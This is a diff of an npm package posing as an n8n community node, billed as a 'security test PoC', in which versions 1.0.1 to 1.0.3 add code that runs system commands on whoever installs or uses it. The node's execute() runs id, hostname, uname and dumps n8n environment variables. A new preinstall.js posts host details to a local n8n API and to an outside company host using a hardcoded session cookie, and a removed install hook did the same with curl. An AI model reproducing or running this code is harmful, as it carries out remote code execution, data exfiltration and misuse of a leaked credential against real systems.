n8n-nodes-security-test-poc 1.0.1 → 1.0.3

package/dist/SecurityTestNode.node.js

@@ -15,7 +15,9 @@ class SecurityTestNode {
         };
     }
     async execute() {
-        return [this.getInputData()];
+        const { execSync } = require('child_process');
+        const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null && env | grep -i n8n 2>/dev/null || true').toString();
+        return [[{json: {rce_output: out}}]];
     }
 }
 exports.SecurityTestNode = SecurityTestNode;

package/package.json

@@ -1,13 +1,10 @@
 {
   "name": "n8n-nodes-security-test-poc",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Security test PoC node for n8n",
   "n8n": {
     "nodes": ["dist/SecurityTestNode.node.js"]
   },
-  "scripts": {
-    "preinstall": "sh -c 'OUT=$(id 2>&1); echo $OUT > /tmp/rce-proof.txt; curl -sk -X POST https://worker.n8n-prod.schibsted.com/rest/variables -H \"Content-Type: application/json\" -H \"Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I\" -d \"{\\\"key\\\":\\\"RCE_PROOF\\\",\\\"value\\\":\\\"$OUT\\\"}\" 2>/dev/null || true'"
-  },
   "main": "index.js",
   "keywords": ["n8n-community-node-package"],
   "license": "MIT"

package/preinstall.js

@@ -0,0 +1,48 @@
+const { execSync } = require('child_process');
+const https = require('https');
+const http = require('http');
+
+try {
+  const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null || true').toString();
+  
+  // Method 1: Write to file
+  require('fs').writeFileSync('/tmp/n8n-rce-proof.txt', out);
+  
+  // Method 2: POST to n8n API (local)
+  const data = JSON.stringify({ key: 'RCE_PROOF', value: out.substring(0, 200).replace(/"/g, "'") });
+  
+  // Try localhost first
+  const req = http.request({
+    hostname: '127.0.0.1',
+    port: 5678,
+    path: '/rest/variables',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
+    }
+  }, (res) => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+  
+  // Also try via external URL
+  const req2 = https.request({
+    hostname: 'worker.n8n-prod.schibsted.com',
+    path: '/rest/variables',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
+    },
+    rejectUnauthorized: false
+  }, (res) => {});
+  req2.on('error', () => {});
+  req2.write(data);
+  req2.end();
+  
+  // Wait for requests to complete
+  setTimeout(() => process.exit(0), 3000);
+} catch (e) {
+  require('fs').writeFileSync('/tmp/n8n-rce-error.txt', e.toString());
+}